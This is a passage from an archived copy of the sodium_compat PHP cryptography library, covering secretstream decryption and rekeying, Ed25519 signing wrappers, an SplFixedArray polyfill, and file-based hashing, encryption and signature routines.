(sodium_memcmp(mac, stored_mac, sizeof mac) != 0) { # sodium_memzero(mac, sizeof mac); # return -1; # } $stored = ParagonIE_Sodium_Core_Util::substr($cipher, $msglen + 1, 16); if (!ParagonIE_Sodium_Core_Util::hashEquals($mac, $stored)) { return false; } # crypto_stream_chacha20_ietf_xor_ic(m, c, mlen, state->nonce, 2U, state->k); $out = ParagonIE_Sodium_Core_ChaCha20::ietfStreamXorIc( ParagonIE_Sodium_Core_Util::substr($cipher, 1, $msglen), $st->getCombinedNonce(), $st->getKey(), ParagonIE_Sodium_Core_Util::store64_le(2) ); # XOR_BUF(STATE_INONCE(state), mac, # crypto_secretstream_xchacha20poly1305_INONCEBYTES); $st->xorNonce($mac); # sodium_increment(STATE_COUNTER(state), # crypto_secretstream_xchacha20poly1305_COUNTERBYTES); $st->incrementCounter(); # if ((tag & crypto_secretstream_xchacha20poly1305_TAG_REKEY) != 0 || # sodium_is_zero(STATE_COUNTER(state), # crypto_secretstream_xchacha20poly1305_COUNTERBYTES)) { # crypto_secretstream_xchacha20poly1305_rekey(state); # } // Overwrite by reference: $state = $st->toString(); /** @var bool $rekey */ $rekey = ($tag & ParagonIE_Sodium_Compat::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_REKEY) !== 0; if ($rekey || $st->needsRekey()) { // DO REKEY self::secretstream_xchacha20poly1305_rekey($state); } return array($out, $tag); } /** * @param string $state * @return void * @throws SodiumException */ public static function secretstream_xchacha20poly1305_rekey(&$state) { $st = ParagonIE_Sodium_Core_SecretStream_State::fromString($state); # unsigned char new_key_and_inonce[crypto_stream_chacha20_ietf_KEYBYTES + # crypto_secretstream_xchacha20poly1305_INONCEBYTES]; # size_t i; # for (i = 0U; i < crypto_stream_chacha20_ietf_KEYBYTES; i++) { # new_key_and_inonce[i] = state->k[i]; # } $new_key_and_inonce = $st->getKey(); # for (i = 0U; i < crypto_secretstream_xchacha20poly1305_INONCEBYTES; i++) { # new_key_and_inonce[crypto_stream_chacha20_ietf_KEYBYTES + i] = # STATE_INONCE(state)[i]; # } $new_key_and_inonce .= ParagonIE_Sodium_Core_Util::substR($st->getNonce(), 0, 8); # crypto_stream_chacha20_ietf_xor(new_key_and_inonce, new_key_and_inonce, # sizeof new_key_and_inonce, # state->nonce, state->k); $st->rekey(ParagonIE_Sodium_Core_ChaCha20::ietfStreamXorIc( $new_key_and_inonce, $st->getCombinedNonce(), $st->getKey(), ParagonIE_Sodium_Core_Util::store64_le(0) )); # for (i = 0U; i < crypto_stream_chacha20_ietf_KEYBYTES; i++) { # state->k[i] = new_key_and_inonce[i]; # } # for (i = 0U; i < crypto_secretstream_xchacha20poly1305_INONCEBYTES; i++) { # STATE_INONCE(state)[i] = # new_key_and_inonce[crypto_stream_chacha20_ietf_KEYBYTES + i]; # } # _crypto_secretstream_xchacha20poly1305_counter_reset(state); $st->counterReset(); $state = $st->toString(); } /** * Detached Ed25519 signature. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $sk * @return string * @throws SodiumException * @throws TypeError */ public static function sign_detached($message, $sk) { return ParagonIE_Sodium_Core_Ed25519::sign_detached($message, $sk); } /** * Attached Ed25519 signature. (Returns a signed message.) * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $sk * @return string * @throws SodiumException * @throws TypeError */ public static function sign($message, $sk) { return ParagonIE_Sodium_Core_Ed25519::sign($message, $sk); } /** * Opens a signed message. If valid, returns the message. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $signedMessage * @param string $pk * @return string * @throws SodiumException * @throws TypeError */ public static function sign_open($signedMessage, $pk) { return ParagonIE_Sodium_Core_Ed25519::sign_open($signedMessage, $pk); } /** * Verify a detached signature of a given message and public key. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $signature * @param string $message * @param string $pk * @return bool * @throws SodiumException * @throws TypeError */ public static function sign_verify_detached($signature, $message, $pk) { return ParagonIE_Sodium_Core_Ed25519::verify_detached($signature, $message, $pk); } } sodium_compat/src/PHP52/SplFixedArray.php000064400000010024147177035010014224 0ustar00 */ private $internalArray = array(); /** @var int $size */ private $size = 0; /** * SplFixedArray constructor. * @param int $size */ public function __construct($size = 0) { $this->size = $size; $this->internalArray = array(); } /** * @return int */ public function count() { return count($this->internalArray); } /** * @return array */ public function toArray() { ksort($this->internalArray); return (array) $this->internalArray; } /** * @param array $array * @param bool $save_indexes * @return SplFixedArray * @psalm-suppress MixedAssignment */ public static function fromArray(array $array, $save_indexes = true) { $self = new SplFixedArray(count($array)); if($save_indexes) { foreach($array as $key => $value) { $self[(int) $key] = $value; } } else { $i = 0; foreach (array_values($array) as $value) { $self[$i] = $value; $i++; } } return $self; } /** * @return int */ public function getSize() { return $this->size; } /** * @param int $size * @return bool */ public function setSize($size) { $this->size = $size; return true; } /** * @param string|int $index * @return bool */ public function offsetExists($index) { return array_key_exists((int) $index, $this->internalArray); } /** * @param string|int $index * @return mixed */ public function offsetGet($index) { /** @psalm-suppress MixedReturnStatement */ return $this->internalArray[(int) $index]; } /** * @param string|int $index * @param mixed $newval * @psalm-suppress MixedAssignment */ public function offsetSet($index, $newval) { $this->internalArray[(int) $index] = $newval; } /** * @param string|int $index */ public function offsetUnset($index) { unset($this->internalArray[(int) $index]); } /** * Rewind iterator back to the start * @link https://php.net/manual/en/splfixedarray.rewind.php * @return void * @since 5.3.0 */ public function rewind() { reset($this->internalArray); } /** * Return current array entry * @link https://php.net/manual/en/splfixedarray.current.php * @return mixed The current element value. * @since 5.3.0 */ public function current() { /** @psalm-suppress MixedReturnStatement */ return current($this->internalArray); } /** * Return current array index * @return int The current array index. */ public function key() { return key($this->internalArray); } /** * @return void */ public function next() { next($this->internalArray); } /** * Check whether the array contains more elements * @link https://php.net/manual/en/splfixedarray.valid.php * @return bool true if the array contains any more elements, false otherwise. */ public function valid() { if (empty($this->internalArray)) { return false; } $result = next($this->internalArray) !== false; prev($this->internalArray); return $result; } /** * Do nothing. */ public function __wakeup() { // NOP } }sodium_compat/src/File.php000064400000147501147177035010011603 0ustar00 ParagonIE_Sodium_Compat::CRYPTO_GENERICHASH_KEYBYTES_MAX) { throw new TypeError('Argument 2 must be at most CRYPTO_GENERICHASH_KEYBYTES_MAX bytes'); } } if ($outputLength < ParagonIE_Sodium_Compat::CRYPTO_GENERICHASH_BYTES_MIN) { throw new SodiumException('Argument 3 must be at least CRYPTO_GENERICHASH_BYTES_MIN'); } if ($outputLength > ParagonIE_Sodium_Compat::CRYPTO_GENERICHASH_BYTES_MAX) { throw new SodiumException('Argument 3 must be at least CRYPTO_GENERICHASH_BYTES_MAX'); } /** @var int $size */ $size = filesize($filePath); if (!is_int($size)) { throw new SodiumException('Could not obtain the file size'); } /** @var resource $fp */ $fp = fopen($filePath, 'rb'); if (!is_resource($fp)) { throw new SodiumException('Could not open input file for reading'); } $ctx = ParagonIE_Sodium_Compat::crypto_generichash_init($key, $outputLength); while ($size > 0) { $blockSize = $size > 64 ? 64 : $size; $read = fread($fp, $blockSize); if (!is_string($read)) { throw new SodiumException('Could not read input file'); } ParagonIE_Sodium_Compat::crypto_generichash_update($ctx, $read); $size -= $blockSize; } fclose($fp); return ParagonIE_Sodium_Compat::crypto_generichash_final($ctx, $outputLength); } /** * Encrypt a file (rather than a string). Uses less memory than * ParagonIE_Sodium_Compat::crypto_secretbox(), but produces * the same result. * * @param string $inputFile Absolute path to a file on the filesystem * @param string $outputFile Absolute path to a file on the filesystem * @param string $nonce Number to be used only once * @param string $key Encryption key * * @return bool * @throws SodiumException * @throws TypeError */ public static function secretbox($inputFile, $outputFile, $nonce, $key) { /* Type checks: */ if (!is_string($inputFile)) { throw new TypeError('Argument 1 must be a string, ' . gettype($inputFile) . ' given..'); } if (!is_string($outputFile)) { throw new TypeError('Argument 2 must be a string, ' . gettype($outputFile) . ' given.'); } if (!is_string($nonce)) { throw new TypeError('Argument 3 must be a string, ' . gettype($nonce) . ' given.'); } /* Input validation: */ if (self::strlen($nonce) !== ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_NONCEBYTES) { throw new TypeError('Argument 3 must be CRYPTO_SECRETBOX_NONCEBYTES bytes'); } if (!is_string($key)) { throw new TypeError('Argument 4 must be a string, ' . gettype($key) . ' given.'); } if (self::strlen($key) !== ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_KEYBYTES) { throw new TypeError('Argument 4 must be CRYPTO_SECRETBOX_KEYBYTES bytes'); } /** @var int $size */ $size = filesize($inputFile); if (!is_int($size)) { throw new SodiumException('Could not obtain the file size'); } /** @var resource $ifp */ $ifp = fopen($inputFile, 'rb'); if (!is_resource($ifp)) { throw new SodiumException('Could not open input file for reading'); } /** @var resource $ofp */ $ofp = fopen($outputFile, 'wb'); if (!is_resource($ofp)) { fclose($ifp); throw new SodiumException('Could not open output file for writing'); } $res = self::secretbox_encrypt($ifp, $ofp, $size, $nonce, $key); fclose($ifp); fclose($ofp); return $res; } /** * Seal a file (rather than a string). Uses less memory than * ParagonIE_Sodium_Compat::crypto_secretbox_open(), but produces * the same result. * * Warning: Does not protect against TOCTOU attacks. You should * just load the file into memory and use crypto_secretbox_open() if * you are worried about those. * * @param string $inputFile * @param string $outputFile * @param string $nonce * @param string $key * @return bool * @throws SodiumException * @throws TypeError */ public static function secretbox_open($inputFile, $outputFile, $nonce, $key) { /* Type checks: */ if (!is_string($inputFile)) { throw new TypeError('Argument 1 must be a string, ' . gettype($inputFile) . ' given.'); } if (!is_string($outputFile)) { throw new TypeError('Argument 2 must be a string, ' . gettype($outputFile) . ' given.'); } if (!is_string($nonce)) { throw new TypeError('Argument 3 must be a string, ' . gettype($nonce) . ' given.'); } if (!is_string($key)) { throw new TypeError('Argument 4 must be a string, ' . gettype($key) . ' given.'); } /* Input validation: */ if (self::strlen($nonce) !== ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_NONCEBYTES) { throw new TypeError('Argument 4 must be CRYPTO_SECRETBOX_NONCEBYTES bytes'); } if (self::strlen($key) !== ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_KEYBYTES) { throw new TypeError('Argument 4 must be CRYPTO_SECRETBOXBOX_KEYBYTES bytes'); } /** @var int $size */ $size = filesize($inputFile); if (!is_int($size)) { throw new SodiumException('Could not obtain the file size'); } /** @var resource $ifp */ $ifp = fopen($inputFile, 'rb'); if (!is_resource($ifp)) { throw new SodiumException('Could not open input file for reading'); } /** @var resource $ofp */ $ofp = fopen($outputFile, 'wb'); if (!is_resource($ofp)) { fclose($ifp); throw new SodiumException('Could not open output file for writing'); } $res = self::secretbox_decrypt($ifp, $ofp, $size, $nonce, $key); fclose($ifp); fclose($ofp); try { ParagonIE_Sodium_Compat::memzero($key); } catch (SodiumException $ex) { /** @psalm-suppress PossiblyUndefinedVariable */ unset($key); } return $res; } /** * Sign a file (rather than a string). Uses less memory than * ParagonIE_Sodium_Compat::crypto_sign_detached(), but produces * the same result. * * @param string $filePath Absolute path to a file on the filesystem * @param string $secretKey Secret signing key * * @return string Ed25519 signature * @throws SodiumException * @throws TypeError */ public static function sign($filePath, $secretKey) { /* Type checks: */ if (!is_string($filePath)) { throw new TypeError('Argument 1 must be a string, ' . gettype($filePath) . ' given.'); } if (!is_string($secretKey)) { throw new TypeError('Argument 2 must be a string, ' . gettype($secretKey) . ' given.'); } /* Input validation: */ if (self::strlen($secretKey) !== ParagonIE_Sodium_Compat::CRYPTO_SIGN_SECRETKEYBYTES) { throw new TypeError('Argument 2 must be CRYPTO_SIGN_SECRETKEYBYTES bytes'); } if (PHP_INT_SIZE === 4) { return self::sign_core32($filePath, $secretKey); } /** @var int $size */ $size = filesize($filePath); if (!is_int($size)) { throw new SodiumException('Could not obtain the file size'); } /** @var resource $fp */ $fp = fopen($filePath, 'rb'); if (!is_resource($fp)) { throw new SodiumException('Could not open input file for reading'); } /** @var string $az */ $az = hash('sha512', self::substr($secretKey, 0, 32), true); $az[0] = self::intToChr(self::chrToInt($az[0]) & 248); $az[31] = self::intToChr((self::chrToInt($az[31]) & 63) | 64); $hs = hash_init('sha512'); self::hash_update($hs, self::substr($az, 32, 32)); /** @var resource $hs */ $hs = self::updateHashWithFile($hs, $fp, $size); /** @var string $nonceHash */ $nonceHash = hash_final($hs, true); /** @var string $pk */ $pk = self::substr($secretKey, 32, 32); /** @var string $nonce */ $nonce = ParagonIE_Sodium_Core_Ed25519::sc_reduce($nonceHash) . self::substr($nonceHash, 32); /** @var string $sig */ $sig = ParagonIE_Sodium_Core_Ed25519::ge_p3_tobytes( ParagonIE_Sodium_Core_Ed25519::ge_scalarmult_base($nonce) ); $hs = hash_init('sha512'); self::hash_update($hs, self::substr($sig, 0, 32)); self::hash_update($hs, self::substr($pk, 0, 32)); /** @var resource $hs */ $hs = self::updateHashWithFile($hs, $fp, $size); /** @var string $hramHash */ $hramHash = hash_final($hs, true); /** @var string $hram */ $hram = ParagonIE_Sodium_Core_Ed25519::sc_reduce($hramHash); /** @var string $sigAfter */ $sigAfter = ParagonIE_Sodium_Core_Ed25519::sc_muladd($hram, $az, $nonce); /** @var string $sig */ $sig = self::substr($sig, 0, 32) . self::substr($sigAfter, 0, 32); try { ParagonIE_Sodium_Compat::memzero($az); } catch (SodiumException $ex) { $az = null; } fclose($fp); return $sig; } /** * Verify a file (rather than a string). Uses less memory than * ParagonIE_Sodium_Compat::crypto_sign_verify_detached(), but * produces the same result. * * @param string $sig Ed25519 signature * @param string $filePath Absolute path to a file on the filesystem * @param string $publicKey Signing public key * * @return bool * @throws SodiumException * @throws TypeError * @throws Exception */ public static function verify($sig, $filePath, $publicKey) { /* Type checks: */ if (!is_string($sig)) { throw new TypeError('Argument 1 must be a string, ' . gettype($sig) . ' given.'); } if (!is_string($filePath)) { throw new TypeError('Argument 2 must be a string, ' . gettype($filePath) . ' given.'); } if (!is_string($publicKey)) { throw new TypeError('Argument 3 must be a string, ' . gettype($publicKey) . ' given.'); } /* Input validation: */ if (self::strlen($sig) !== ParagonIE_Sodium_Compat::CRYPTO_SIGN_BYTES) { throw new TypeError('Argument 1 must be CRYPTO_SIGN_BYTES bytes'); } if (self::strlen($publicKey) !== ParagonIE_Sodium_Compat::CRYPTO_SIGN_PUBLICKEYBYTES) { throw new TypeError('Argument 3 must be CRYPTO_SIGN_PUBLICKEYBYTES bytes'); } if (self::strlen($sig) < 64) { throw new SodiumException('Signature is too short'); } if (PHP_INT_SIZE === 4) { return self::verify_core32($sig, $filePath, $publicKey); } /* Security checks */ if ( (ParagonIE_Sodium_Core_Ed25519::chrToInt($sig[63]) & 240) && ParagonIE_Sodium_Core_Ed25519::check_S_lt_L(self::substr($sig, 32, 32)) ) { throw new SodiumException('S < L - Invalid signature'); } if (ParagonIE_Sodium_Core_Ed25519::small_order($sig)) { throw new SodiumException('Signature is on too small of an order'); } if ((self::chrToInt($sig[63]) & 224) !== 0) { throw new SodiumException('Invalid signature'); } $d = 0; for ($i = 0; $i < 32; ++$i) { $d |= self::chrToInt($publicKey[$i]); } if ($d === 0) { throw new SodiumException('All zero public key'); } /** @var int $size */ $size = filesize($filePath); if (!is_int($size)) { throw new SodiumException('Could not obtain the file size'); } /** @var resource $fp */ $fp = fopen($filePath, 'rb'); if (!is_resource($fp)) { throw new SodiumException('Could not open input file for reading'); } /** @var bool The original value of ParagonIE_Sodium_Compat::$fastMult */ $orig = ParagonIE_Sodium_Compat::$fastMult; // Set ParagonIE_Sodium_Compat::$fastMult to true to speed up verification. ParagonIE_Sodium_Compat::$fastMult = true; /** @var ParagonIE_Sodium_Core_Curve25519_Ge_P3 $A */ $A = ParagonIE_Sodium_Core_Ed25519::ge_frombytes_negate_vartime($publicKey); $hs = hash_init('sha512'); self::hash_update($hs, self::substr($sig, 0, 32)); self::hash_update($hs, self::substr($publicKey, 0, 32)); /** @var resource $hs */ $hs = self::updateHashWithFile($hs, $fp, $size); /** @var string $hDigest */ $hDigest = hash_final($hs, true); /** @var string $h */ $h = ParagonIE_Sodium_Core_Ed25519::sc_reduce($hDigest) . self::substr($hDigest, 32); /** @var ParagonIE_Sodium_Core_Curve25519_Ge_P2 $R */ $R = ParagonIE_Sodium_Core_Ed25519::ge_double_scalarmult_vartime( $h, $A, self::substr($sig, 32) ); /** @var string $rcheck */ $rcheck = ParagonIE_Sodium_Core_Ed25519::ge_tobytes($R); // Close the file handle fclose($fp); // Reset ParagonIE_Sodium_Compat::$fastMult to what it was before. ParagonIE_Sodium_Compat::$fastMult = $orig; return self::verify_32($rcheck, self::substr($sig, 0, 32)); } /** * @param resource $ifp * @param resource $ofp * @param int $mlen * @param string $nonce * @param string $boxKeypair * @return bool * @throws SodiumException * @throws TypeError */ protected static function box_encrypt($ifp, $ofp, $mlen, $nonce, $boxKeypair) { if (PHP_INT_SIZE === 4) { return self::secretbox_encrypt( $ifp, $ofp, $mlen, $nonce, ParagonIE_Sodium_Crypto32::box_beforenm( ParagonIE_Sodium_Crypto32::box_secretkey($boxKeypair), ParagonIE_Sodium_Crypto32::box_publickey($boxKeypair) ) ); } return self::secretbox_encrypt( $ifp, $ofp, $mlen, $nonce, ParagonIE_Sodium_Crypto::box_beforenm( ParagonIE_Sodium_Crypto::box_secretkey($boxKeypair), ParagonIE_Sodium_Crypto::box_publickey($boxKeypair) ) ); } /** * @param resource $ifp * @param resource $ofp * @param int $mlen * @param string $nonce * @param string $boxKeypair * @return bool * @throws SodiumException * @throws TypeError */ protected static function box_decrypt($ifp, $ofp, $mlen, $nonce, $boxKeypair) { if (PHP_INT_SIZE === 4) { return self::secretbox_decrypt( $ifp, $ofp, $mlen, $nonce, ParagonIE_Sodium_Crypto32::box_beforenm( ParagonIE_Sodium_Crypto32::box_secretkey($boxKeypair), ParagonIE_Sodium_Crypto32::box_publickey($boxKeypair) ) ); } return self::secretbox_decrypt( $ifp, $ofp, $mlen, $nonce, ParagonIE_Sodium_Crypto::box_beforenm( ParagonIE_Sodium_Crypto::box_secretkey($boxKeypair), ParagonIE_Sodium_Crypto::box_publickey($boxKeypair) ) ); } /** * Encrypt a file * * @param resource $ifp * @param resource $ofp * @param int $mlen * @param string $nonce * @param string $key * @return bool * @throws SodiumException * @throws TypeError */ protected static function secretbox_encrypt($ifp, $ofp, $mlen, $nonce, $key) { if (PHP_INT_SIZE === 4) { return self::secretbox_encrypt_core32($ifp, $ofp, $mlen, $nonce, $key); } $plaintext = fread($ifp, 32); if (!is_string($plaintext)) { throw new SodiumException('Could not read input file'); } $first32 = self::ftell($ifp); /** @var string $subkey */ $subkey = ParagonIE_Sodium_Core_HSalsa20::hsalsa20($nonce, $key); /** @var string $realNonce */ $realNonce = ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8); /** @var string $block0 */ $block0 = str_repeat("\x00", 32); /** @var int $mlen - Length of the plaintext message */ $mlen0 = $mlen; if ($mlen0 > 64 - ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES) { $mlen0 = 64 - ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES; } $block0 .= ParagonIE_Sodium_Core_Util::substr($plaintext, 0, $mlen0); /** @var string $block0 */ $block0 = ParagonIE_Sodium_Core_Salsa20::salsa20_xor( $block0, $realNonce, $subkey ); $state = new ParagonIE_Sodium_Core_Poly1305_State( ParagonIE_Sodium_Core_Util::substr( $block0, 0, ParagonIE_Sodium_Crypto::onetimeauth_poly1305_KEYBYTES ) ); // Pre-write 16 blank bytes for the Poly1305 tag $start = self::ftell($ofp); fwrite($ofp, str_repeat("\x00", 16)); /** @var string $c */ $cBlock = ParagonIE_Sodium_Core_Util::substr( $block0, ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES ); $state->update($cBlock); fwrite($ofp, $cBlock); $mlen -= 32; /** @var int $iter */ $iter = 1; /** @var int $incr */ $incr = self::BUFFER_SIZE >> 6; /* * Set the cursor to the end of the first half-block. All future bytes will * generated from salsa20_xor_ic, starting from 1 (second block). */ fseek($ifp, $first32, SEEK_SET); while ($mlen > 0) { $blockSize = $mlen > self::BUFFER_SIZE ? self::BUFFER_SIZE : $mlen; $plaintext = fread($ifp, $blockSize); if (!is_string($plaintext)) { throw new SodiumException('Could not read input file'); } $cBlock = ParagonIE_Sodium_Core_Salsa20::salsa20_xor_ic( $plaintext, $realNonce, $iter, $subkey ); fwrite($ofp, $cBlock, $blockSize); $state->update($cBlock); $mlen -= $blockSize; $iter += $incr; } try { ParagonIE_Sodium_Compat::memzero($block0); ParagonIE_Sodium_Compat::memzero($subkey); } catch (SodiumException $ex) { $block0 = null; $subkey = null; } $end = self::ftell($ofp); /* * Write the Poly1305 authentication tag that provides integrity * over the ciphertext (encrypt-then-MAC) */ fseek($ofp, $start, SEEK_SET); fwrite($ofp, $state->finish(), ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_MACBYTES); fseek($ofp, $end, SEEK_SET); unset($state); return true; } /** * Decrypt a file * * @param resource $ifp * @param resource $ofp * @param int $mlen * @param string $nonce * @param string $key * @return bool * @throws SodiumException * @throws TypeError */ protected static function secretbox_decrypt($ifp, $ofp, $mlen, $nonce, $key) { if (PHP_INT_SIZE === 4) { return self::secretbox_decrypt_core32($ifp, $ofp, $mlen, $nonce, $key); } $tag = fread($ifp, 16); if (!is_string($tag)) { throw new SodiumException('Could not read input file'); } /** @var string $subkey */ $subkey = ParagonIE_Sodium_Core_HSalsa20::hsalsa20($nonce, $key); /** @var string $realNonce */ $realNonce = ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8); /** @var string $block0 */ $block0 = ParagonIE_Sodium_Core_Salsa20::salsa20( 64, ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8), $subkey ); /* Verify the Poly1305 MAC -before- attempting to decrypt! */ $state = new ParagonIE_Sodium_Core_Poly1305_State(self::substr($block0, 0, 32)); if (!self::onetimeauth_verify($state, $ifp, $tag, $mlen)) { throw new SodiumException('Invalid MAC'); } /* * Set the cursor to the end of the first half-block. All future bytes will * generated from salsa20_xor_ic, starting from 1 (second block). */ $first32 = fread($ifp, 32); if (!is_string($first32)) { throw new SodiumException('Could not read input file'); } $first32len = self::strlen($first32); fwrite( $ofp, self::xorStrings( self::substr($block0, 32, $first32len), self::substr($first32, 0, $first32len) ) ); $mlen -= 32; /** @var int $iter */ $iter = 1; /** @var int $incr */ $incr = self::BUFFER_SIZE >> 6; /* Decrypts ciphertext, writes to output file. */ while ($mlen > 0) { $blockSize = $mlen > self::BUFFER_SIZE ? self::BUFFER_SIZE : $mlen; $ciphertext = fread($ifp, $blockSize); if (!is_string($ciphertext)) { throw new SodiumException('Could not read input file'); } $pBlock = ParagonIE_Sodium_Core_Salsa20::salsa20_xor_ic( $ciphertext, $realNonce, $iter, $subkey ); fwrite($ofp, $pBlock, $blockSize); $mlen -= $blockSize; $iter += $incr; } return true; } /** * @param ParagonIE_Sodium_Core_Poly1305_State $state * @param resource $ifp * @param string $tag * @param int $mlen * @return bool * @throws SodiumException * @throws TypeError */ protected static function onetimeauth_verify( ParagonIE_Sodium_Core_Poly1305_State $state, $ifp, $tag = '', $mlen = 0 ) { /** @var int $pos */ $pos = self::ftell($ifp); /** @var int $iter */ $iter = 1; /** @var int $incr */ $incr = self::BUFFER_SIZE >> 6; while ($mlen > 0) { $blockSize = $mlen > self::BUFFER_SIZE ? self::BUFFER_SIZE : $mlen; $ciphertext = fread($ifp, $blockSize); if (!is_string($ciphertext)) { throw new SodiumException('Could not read input file'); } $state->update($ciphertext); $mlen -= $blockSize; $iter += $incr; } $res = ParagonIE_Sodium_Core_Util::verify_16($tag, $state->finish()); fseek($ifp, $pos, SEEK_SET); return $res; } /** * Update a hash context with the contents of a file, without * loading the entire file into memory. * * @param resource|HashContext $hash * @param resource $fp * @param int $size * @return resource|object Resource on PHP < 7.2, HashContext object on PHP >= 7.2 * @throws SodiumException * @throws TypeError * @psalm-suppress PossiblyInvalidArgument * PHP 7.2 changes from a resource to an object, * which causes Psalm to complain about an error. * @psalm-suppress TypeCoercion * Ditto. */ public static function updateHashWithFile($hash, $fp, $size = 0) { /* Type checks: */ if (PHP_VERSION_ID < 70200) { if (!is_resource($hash)) { throw new TypeError('Argument 1 must be a resource, ' . gettype($hash) . ' given.'); } } else { if (!is_object($hash)) { throw new TypeError('Argument 1 must be an object (PHP 7.2+), ' . gettype($hash) . ' given.'); } } if (!is_resource($fp)) { throw new TypeError('Argument 2 must be a resource, ' . gettype($fp) . ' given.'); } if (!is_int($size)) { throw new TypeError('Argument 3 must be an integer, ' . gettype($size) . ' given.'); } /** @var int $originalPosition */ $originalPosition = self::ftell($fp); // Move file pointer to beginning of file fseek($fp, 0, SEEK_SET); for ($i = 0; $i < $size; $i += self::BUFFER_SIZE) { /** @var string|bool $message */ $message = fread( $fp, ($size - $i) > self::BUFFER_SIZE ? $size - $i : self::BUFFER_SIZE ); if (!is_string($message)) { throw new SodiumException('Unexpected error reading from file.'); } /** @var string $message */ /** @psalm-suppress InvalidArgument */ self::hash_update($hash, $message); } // Reset file pointer's position fseek($fp, $originalPosition, SEEK_SET); return $hash; } /** * Sign a file (rather than a string). Uses less memory than * ParagonIE_Sodium_Compat::crypto_sign_detached(), but produces * the same result. (32-bit) * * @param string $filePath Absolute path to a file on the filesystem * @param string $secretKey Secret signing key * * @return string Ed25519 signature * @throws SodiumException * @throws TypeError */ private static function sign_core32($filePath, $secretKey) { $size = filesize($filePath); if (!is_int($size)) { throw new SodiumException('Could not obtain the file size'); } $fp = fopen($filePath, 'rb'); if (!is_resource($fp)) { throw new SodiumException('Could not open input file for reading'); } /** @var string $az */ $az = hash('sha512', self::substr($secretKey, 0, 32), true); $az[0] = self::intToChr(self::chrToInt($az[0]) & 248); $az[31] = self::intToChr((self::chrToInt($az[31]) & 63) | 64); $hs = hash_init('sha512'); self::hash_update($hs, self::substr($az, 32, 32)); /** @var resource $hs */ $hs = self::updateHashWithFile($hs, $fp, $size); $nonceHash = hash_final($hs, true); $pk = self::substr($secretKey, 32, 32); $nonce = ParagonIE_Sodium_Core32_Ed25519::sc_reduce($nonceHash) . self::substr($nonceHash, 32); $sig = ParagonIE_Sodium_Core32_Ed25519::ge_p3_tobytes( ParagonIE_Sodium_Core32_Ed25519::ge_scalarmult_base($nonce) ); $hs = hash_init('sha512'); self::hash_update($hs, self::substr($sig, 0, 32)); self::hash_update($hs, self::substr($pk, 0, 32)); /** @var resource $hs */ $hs = self::updateHashWithFile($hs, $fp, $size); $hramHash = hash_final($hs, true); $hram = ParagonIE_Sodium_Core32_Ed25519::sc_reduce($hramHash); $sigAfter = ParagonIE_Sodium_Core32_Ed25519::sc_muladd($hram, $az, $nonce); /** @var string $sig */ $sig = self::substr($sig, 0, 32) . self::substr($sigAfter, 0, 32); try { ParagonIE_Sodium_Compat::memzero($az); } catch (SodiumException $ex) { $az = null; } fclose($fp); return $sig; } /** * * Verify a file (rather than a string). Uses less memory than * ParagonIE_Sodium_Compat::crypto_sign_verify_detached(), but * produces the same result. (32-bit) * * @param string $sig Ed25519 signature * @param string $filePath Absolute path to a file on the filesystem * @param string $publicKey Signing public key * * @return bool * @throws SodiumException * @throws Exception */ public static function verify_core32($sig, $filePath, $publicKey) { /* Security checks */ if (ParagonIE_Sodium_Core32_Ed25519::check_S_lt_L(self::substr($sig, 32, 32))) { throw new SodiumException('S < L - Invalid signature'); } if (ParagonIE_Sodium_Core32_Ed25519::small_order($sig)) { throw new SodiumException('Signature is on too small of an order'); } if ((self::chrToInt($sig[63]) & 224) !== 0) { throw new SodiumException('Invalid signature'); } $d = 0; for ($i = 0; $i < 32; ++$i) { $d |= self::chrToInt($publicKey[$i]); } if ($d === 0) { throw new SodiumException('All zero public key'); } /** @var int|bool $size */ $size = filesize($filePath); if (!is_int($size)) { throw new SodiumException('Could not obtain the file size'); } /** @var int $size */ /** @var resource|bool $fp */ $fp = fopen($filePath, 'rb'); if (!is_resource($fp)) { throw new SodiumException('Could not open input file for reading'); } /** @var resource $fp */ /** @var bool The original value of ParagonIE_Sodium_Compat::$fastMult */ $orig = ParagonIE_Sodium_Compat::$fastMult; // Set ParagonIE_Sodium_Compat::$fastMult to true to speed up verification. ParagonIE_Sodium_Compat::$fastMult = true; /** @var ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $A */ $A = ParagonIE_Sodium_Core32_Ed25519::ge_frombytes_negate_vartime($publicKey); $hs = hash_init('sha512'); self::hash_update($hs, self::substr($sig, 0, 32)); self::hash_update($hs, self::substr($publicKey, 0, 32)); /** @var resource $hs */ $hs = self::updateHashWithFile($hs, $fp, $size); /** @var string $hDigest */ $hDigest = hash_final($hs, true); /** @var string $h */ $h = ParagonIE_Sodium_Core32_Ed25519::sc_reduce($hDigest) . self::substr($hDigest, 32); /** @var ParagonIE_Sodium_Core32_Curve25519_Ge_P2 $R */ $R = ParagonIE_Sodium_Core32_Ed25519::ge_double_scalarmult_vartime( $h, $A, self::substr($sig, 32) ); /** @var string $rcheck */ $rcheck = ParagonIE_Sodium_Core32_Ed25519::ge_tobytes($R); // Close the file handle fclose($fp); // Reset ParagonIE_Sodium_Compat::$fastMult to what it was before. ParagonIE_Sodium_Compat::$fastMult = $orig; return self::verify_32($rcheck, self::substr($sig, 0, 32)); } /** * Encrypt a file (32-bit) * * @param resource $ifp * @param resource $ofp * @param int $mlen * @param string $nonce * @param string $key * @return bool * @throws SodiumException * @throws TypeError */ protected static function secretbox_encrypt_core32($ifp, $ofp, $mlen, $nonce, $key) { $plaintext = fread($ifp, 32); if (!is_string($plaintext)) { throw new SodiumException('Could not read input file'); } $first32 = self::ftell($ifp); /** @var string $subkey */ $subkey = 